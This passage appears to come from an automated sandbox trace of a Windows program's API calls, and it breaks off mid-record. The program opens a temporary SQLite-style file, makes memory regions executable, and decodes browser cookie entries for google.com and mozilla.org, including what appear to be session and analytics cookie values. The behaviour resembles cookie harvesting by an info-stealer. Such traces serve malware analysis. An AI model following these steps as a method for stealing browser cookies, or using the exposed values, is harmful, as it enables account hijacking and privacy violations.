"c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp"), fInfoLevelId=0x0, lpFileInformation=0x1e7df378 | out: lpFileInformation=0x1e7df378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5d33080, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa5d33080, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xf35d3740, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0163.671] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0163.672] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7df4a8, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x1e7df46c, lpOverlapped=0x1e7df430 | out: lpBuffer=0x1e7df4a8*, lpNumberOfBytesRead=0x1e7df46c*=0x64, lpOverlapped=0x1e7df430) returned 1 [0163.672] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0163.677] LockFileEx (in: hFile=0xf4, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de830 | out: lpOverlapped=0x1e7de830) returned 1 [0163.677] LockFileEx (in: hFile=0xf4, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de824 | out: lpOverlapped=0x1e7de824) returned 1 [0163.677] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de834 | out: lpOverlapped=0x1e7de834) returned 1 [0163.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0163.677] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe53020, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-journal") returned 74 [0163.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de830 | out: lpFileInformation=0x1e7de830*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.677] GetLastError () returned 0x2 [0163.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-wal") returned 70 [0163.678] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de848 | out: lpFileInformation=0x1e7de848*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.678] GetLastError () returned 0x2 [0163.678] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7de874 | out: lpFileSizeHigh=0x1e7de874*=0x0) returned 0x80000 [0163.678] VirtualAlloc (lpAddress=0x1fe7e000, dwSize=0x76000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe7e000 [0163.680] ReadFile (in: hFile=0xf4, lpBuffer=0x1feebbe0, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7de850, lpOverlapped=0x1e7de814 | out: lpBuffer=0x1feebbe0*, lpNumberOfBytesRead=0x1e7de850*=0x8000, lpOverlapped=0x1e7de814) returned 1 [0163.681] VirtualAlloc (lpAddress=0x1fef4000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fef4000 [0163.681] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.681] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-wal") returned 70 [0163.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de7e8 | out: lpFileInformation=0x1e7de7e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.681] GetLastError () returned 0x2 [0163.681] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0163.690] VirtualAlloc (lpAddress=0x1fef5000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fef5000 [0163.690] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fef50c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.690] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fef50c0, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-shm") returned 70 [0163.690] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-shm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp-shm"), fInfoLevelId=0x0, lpFileInformation=0x1e7de720 | out: lpFileInformation=0x1e7de720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.690] GetLastError () returned 0x2 [0163.690] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-shm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x670 [0163.691] LockFileEx (in: hFile=0x670, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de770 | out: lpOverlapped=0x1e7de770) returned 1 [0163.691] SetFilePointer (in: hFile=0x670, lDistanceToMove=0, lpDistanceToMoveHigh=0x1e7de794*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1e7de794*=0) returned 0x0 [0163.691] SetEndOfFile (hFile=0x670) returned 1 [0163.691] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de774 | out: lpOverlapped=0x1e7de774) returned 1 [0163.691] LockFileEx (in: hFile=0x670, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de768 | out: lpOverlapped=0x1e7de768) returned 1 [0163.691] GetFileSize (in: hFile=0x670, lpFileSizeHigh=0x1e7de7bc | out: lpFileSizeHigh=0x1e7de7bc*=0x0) returned 0x0 [0163.692] LockFileEx (in: hFile=0x670, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de7c0 | out: lpOverlapped=0x1e7de7c0) returned 1 [0163.692] GetFileSize (in: hFile=0x670, lpFileSizeHigh=0x1e7de7bc | out: lpFileSizeHigh=0x1e7de7bc*=0x0) returned 0x0 [0163.692] SetFilePointer (in: hFile=0x670, lDistanceToMove=32768, lpDistanceToMoveHigh=0x1e7de7b4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1e7de7b4*=0) returned 0x8000 [0163.692] SetEndOfFile (hFile=0x670) returned 1 [0163.692] CreateFileMappingW (hFile=0x670, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8000, lpName=0x0) returned 0x674 [0163.692] MapViewOfFile (hFileMappingObject=0x674, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8000) returned 0x70000 [0163.693] LockFileEx (in: hFile=0x670, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x7, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de740 | out: lpOverlapped=0x1e7de740) returned 1 [0163.693] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7de79c | out: lpFileSizeHigh=0x1e7de79c*=0x0) returned 0x0 [0163.693] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x7, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de744 | out: lpOverlapped=0x1e7de744) returned 1 [0163.693] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de7c4 | out: lpOverlapped=0x1e7de7c4) returned 1 [0163.693] LockFileEx (in: hFile=0x670, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de7e8 | out: lpOverlapped=0x1e7de7e8) returned 1 [0163.693] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7de874 | out: lpFileSizeHigh=0x1e7de874*=0x0) returned 0x80000 [0163.693] ReadFile (in: hFile=0xf4, lpBuffer=0x1feebbe0, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7de850, lpOverlapped=0x1e7de814 | out: lpBuffer=0x1feebbe0*, lpNumberOfBytesRead=0x1e7de850*=0x8000, lpOverlapped=0x1e7de814) returned 1 [0163.695] VirtualAlloc (lpAddress=0x1fef7000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fef7000 [0163.697] VirtualAlloc (lpAddress=0x1fefb000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fefb000 [0163.697] VirtualAlloc (lpAddress=0x1fefc000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fefc000 [0163.698] VirtualAlloc (lpAddress=0x1fefd000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fefd000 [0163.703] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de524 | out: lpOverlapped=0x1e7de524) returned 1 [0163.704] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.704] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.705] LockFileEx (in: hFile=0x670, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df1b8 | out: lpOverlapped=0x1e7df1b8) returned 1 [0163.705] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df244 | out: lpFileSizeHigh=0x1e7df244*=0x0) returned 0x80000 [0163.705] ReadFile (in: hFile=0xf4, lpBuffer=0x1fee3b40, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7df238, lpOverlapped=0x1e7df1fc | out: lpBuffer=0x1fee3b40*, lpNumberOfBytesRead=0x1e7df238*=0x8000, lpOverlapped=0x1e7df1fc) returned 1 [0163.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025954, cbMultiByte=11, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.comṽ瑮偐`") returned 11 [0163.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.comṽ瑮偐`") returned 4 [0163.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0259a0, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.google.comṽ瑮偐`") returned 1 [0163.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.google.comṽ瑮偐`") returned 5 [0163.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1514629556@TRUE.google.comṽ瑮偐`") returned 10 [0163.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1640, cbMultiByte=3, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="NIDἂ1514629556@TRUE.google.comṽ瑮偐`") returned 3 [0163.708] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07080, cbMultiByte=132, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="106=V8uw9OQJQXrz-DRRDrr55LusRCq_dgmfXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 132 [0163.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.709] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07114, cbMultiByte=12, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 12 [0163.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2134, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1561890356@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.709] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcee718, cbMultiByte=3, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="_gaἂ1561890356@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 3 [0163.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3670, cbMultiByte=26, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="GA1.2.217341492.1498818357ozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 26 [0163.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07130, cbMultiByte=12, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 12 [0163.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e01bc, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498904756@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026738, cbMultiByte=4, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="_gid1498904756@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.710] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd0714c, cbMultiByte=26, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="GA1.2.278947976.1498818357ozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 26 [0163.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07174, cbMultiByte=12, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 12 [0163.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0259a0, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498818416@TRUE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1c90, cbMultiByte=18, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="_gat_UA-36116321-1UE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 18 [0163.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1640, cbMultiByte=1, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: 